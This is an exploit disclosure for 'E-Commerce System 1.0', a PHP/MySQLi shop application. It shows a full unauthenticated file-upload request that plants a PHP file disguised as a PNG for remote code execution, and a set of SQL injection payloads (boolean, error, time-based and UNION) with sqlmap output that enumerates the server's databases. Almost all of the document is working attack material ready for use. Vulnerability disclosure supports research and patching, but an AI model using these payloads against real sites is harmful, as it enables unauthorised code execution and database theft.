E-Commerce System 1.0 Unauthenticated Remote Code Execution

# Exploit Title: E-Commerce System 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: SunCSR (Sun* Cyber Security Research - ThienNV)
# Date: 2020-05-14
# Vendor Homepage: https://www.sourcecodester.com/php/13524/e-commerce-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/ecommerce.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.5
# Description: E-Commerce System Using PHP/MySQLi - Unauthenticated Remote Code Execution + Unauthenticated SQL Injection

### Description: E-Commerce System Using PHP/MySQLi - Unauthenticated
Remote Code Execution + Unauthenticated SQL Injection

###POC 1: Unauthenticated Remote Code Execution via Unrestricted file upload

Vulnerabilities url: http://thiennv.com/ecommerce/index.php?q=profile
Exploitation:

POST /ecommerce/customer/controller.php?action=photos HTTP/1.1
Host: thiennv.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)
Gecko/20100101 Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------270177040916945863071313890828
Content-Length: 4723
Origin: http://thiennv.com
Connection: close
Referer: http://thiennv.com/ecommerce/index.php?q=profile
Cookie: advanced_ads_hide_deactivate_feedback=1; wplc_chat_status=5;
_icl_current_language=en; nc_status=browsing; tcx_customerID=rJQlLlHFcU;
wplc_cid=Bk4eLeHFcI_1589362760300; PHPSESSID=909kc73hdpc69l5vk6malipke7
Upgrade-Insecure-Requests: 1

-----------------------------270177040916945863071313890828
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000000
-----------------------------270177040916945863071313890828
Content-Disposition: form-data; name="photo"; filename="logo1.php"
Content-Type: image/png

PNG


IHDR         m"H   &PLTE=1
<?php phpinfo() ?>
-----------------------------270177040916945863071313890828
Content-Disposition: form-data; name="savephoto"


-----------------------------270177040916945863071313890828--

###POC 2: Unauthenticated SQL Injection

Vulnerabilities url:
http://192.168.17.65:80/ecommerce/index.php?q=product&category=-2854'
Exploitation:

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload:
http://192.168.17.65:80/ecommerce/index.php?q=product&category=-2854' OR
6075=6075#

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: http://192.168.17.65:80/ecommerce/index.php?q=product&category='
OR (SELECT 2158 FROM(SELECT COUNT(*),CONCAT(0x71706a7a71,(SELECT
(ELT(2158=2158,1))),0x7170767671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- FBZp

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://192.168.17.65:80/ecommerce/index.php?q=product&category='
AND (SELECT 5509 FROM (SELECT(SLEEP(5)))dkZy)-- vkPi

    Type: UNION query
    Title: MySQL UNION query (NULL) - 20 columns
    Payload: http://192.168.17.65:80/ecommerce/index.php?q=product&category='
UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71706a7a71,0x644764427169434a594a57726f4a744c517a58554b59485152524842596454684f4d504d6d644868,0x7170767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
[11:22:17] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[11:22:17] [INFO] fetching database names
available databases [6]:
[*] db_ecommerce
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
-------------------------------------------------------------------------------------------------------------Best
Regards!
(*Mr) Ngo Van Thien*

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